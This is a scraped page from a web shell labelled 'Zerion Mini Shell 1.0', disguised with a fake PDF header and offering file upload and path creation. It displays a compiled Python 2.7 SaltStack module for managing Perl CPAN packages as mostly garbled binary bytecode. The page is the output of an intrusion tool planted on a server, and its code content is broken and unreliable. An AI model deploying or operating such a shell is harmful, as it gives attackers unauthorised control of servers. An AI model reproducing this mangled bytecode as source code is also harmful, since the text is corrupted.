%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/cpan.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlZ	ddl
Z	eje�Z
idd6Zd�Zd�Zed�Zd	�Zd
�Zd�ZdS(u<
Manage Perl modules using CPAN

.. versionadded:: 2015.5.0
i(tabsolute_importtprint_functiontunicode_literalsNulistulist_cC@s#tjjjd�rtStdfS(u3
    Only work on supported POSIX-like systems
    ucpanuAUnable to locate cpan. Make sure it is installed and in the PATH.(tsalttutilstpathtwhichtTruetFalse(((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pyt__virtual__scC@s�id	d6d	d6}t|�}dj|�}td|�}d|krYd|d<|St|�}|jdd	�|d<|d|d<|S(
u�
    Install a Perl module from CPAN

    CLI Example:

    .. code-block:: bash

        salt '*' cpan.install Template::Alloy
    uoldunewucpan -i {0}ucmd.runudon't know what it isu!CPAN cannot identify this packageuerroruinstalled versionN(tNonetshowtformatt__salt__tget(tmoduletrettold_infotcmdtouttnew_info((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pytinstall#s


c
C@s�idd6dd6}t|�}d|kr;i|dd6S|jdd�}|dkr]|S||d<d|kr~idd6S|jdd�d	}|d
j|d�}g}x�|dD]�}tj|�}	d|	kr�q�ntjj|d�}
tj	j
j|
d
��d}xZ|j�D]L}tj	j
j|�}|jd�r|j|jd|�j��qqWWdQXq�Wi}
x]|D]U}||
kr�q�ntjdj|��td|�r�d|
|<q�d|
|<q�W|r�|
|d<n|S(u�
    Attempt to remove a Perl module that was installed from CPAN. Because the
    ``cpan`` command doesn't actually support "uninstall"-like functionality,
    this function will attempt to do what it can, with what it has from CPAN.

    Until this function is declared stable, USE AT YOUR OWN RISK!

    CLI Example:

    .. code-block:: bash

        salt '*' cpan.remove Old::Package
    uoldunewuerroruinstalled versionucpan build dirsu.No CPAN data available to use for uninstallingu::u/u.pmuinstalled fileuuMANIFESTurulib/NuRemoving {0}ufile.removeuremoveduunable to removeudetails(R
RRtreplacetostlistdirRtjoinRRtfilestfopent	readlineststringutilst
to_unicodet
startswithtappendtstriptlogttraceRR
(RtdetailsRtinfotversiontmod_pathfiletins_pathRt	build_dirtcontentstmfiletfh_tlinet
rm_detailstfile_((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pytremoveBsL

0


cC@sUi}d}td|�j�}x,|D]$}|j�}|d||d<q)W|S(u�
    List installed Perl modules, and the version installed

    CLI Example:

    .. code-block:: bash

        salt '*' cpan.list
    ucpan -lucmd.runii(R
t
splitlinestsplit(RRRR-tcomps((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pytlist_�s

c
C@s�i}||d<dj|�}td|�j�}d}g}xH|D]@}|jd�rid}qHn|dkr{qHn|j|�qHWt|�dkr�|jdd	�nt|�dkr�d
|d<|S|dj�|d
<|dj�|d<|dj�r |dj�|d<n
d|d<|dj	d�}t|�dkrf|dj�|d<nd|ks}|dr�d|d<n|dj	d�}|dj	�}|dj�|d<|dj�|d<|dj�|d<t
�}|jdd�}	|	dk	r�g|d<tj
|	�}
|jdd�}xC|
D]8}|j|�rB|djtjj|	|��qBqBWn|S(u�
    Show information about a specific Perl module

    CLI Example:

    .. code-block:: bash

        salt '*' cpan.show Template::Alloy
    unameucpan -D {0}ucmd.runuskipu
-------------uparseiiuu#This package does not seem to existuerroriudescriptioniu	cpan fileuinstalled fileiu:uinstalled versioniucpan versioniuauthor nameuauthor emailu	build_dirucpan build dirsu::u-N(RR
R1RR tlentinsertR!R
R2tshow_configRRRRRR(
RRRRtmodeR%R-R3tconfigR)tbuildstpfileR/((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pyR�sV





	

*cC@s�i}d}td|�j�}x}|D]u}d|krAq)n|jd�}|djdd�j�}|djdd�jdd�j�}|||<q)W|S(	u�
    Return a dict of CPAN configuration values

    CLI Example:

    .. code-block:: bash

        salt '*' cpan.show_config
    ucpan -Jucmd.runu=>iu'uiu',(R
R1R2RR!(RRRR-R3tkeytval((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pyR7�s

((t__doc__t
__future__RRRRtos.pathtloggingtsalt.utils.filesRtsalt.utils.patht	getLoggert__name__R"t__func_alias__R	RRR0R4RR7(((s5/usr/lib/python2.7/site-packages/salt/modules/cpan.pyt<module>s
			C		A

Zerion Mini Shell 1.0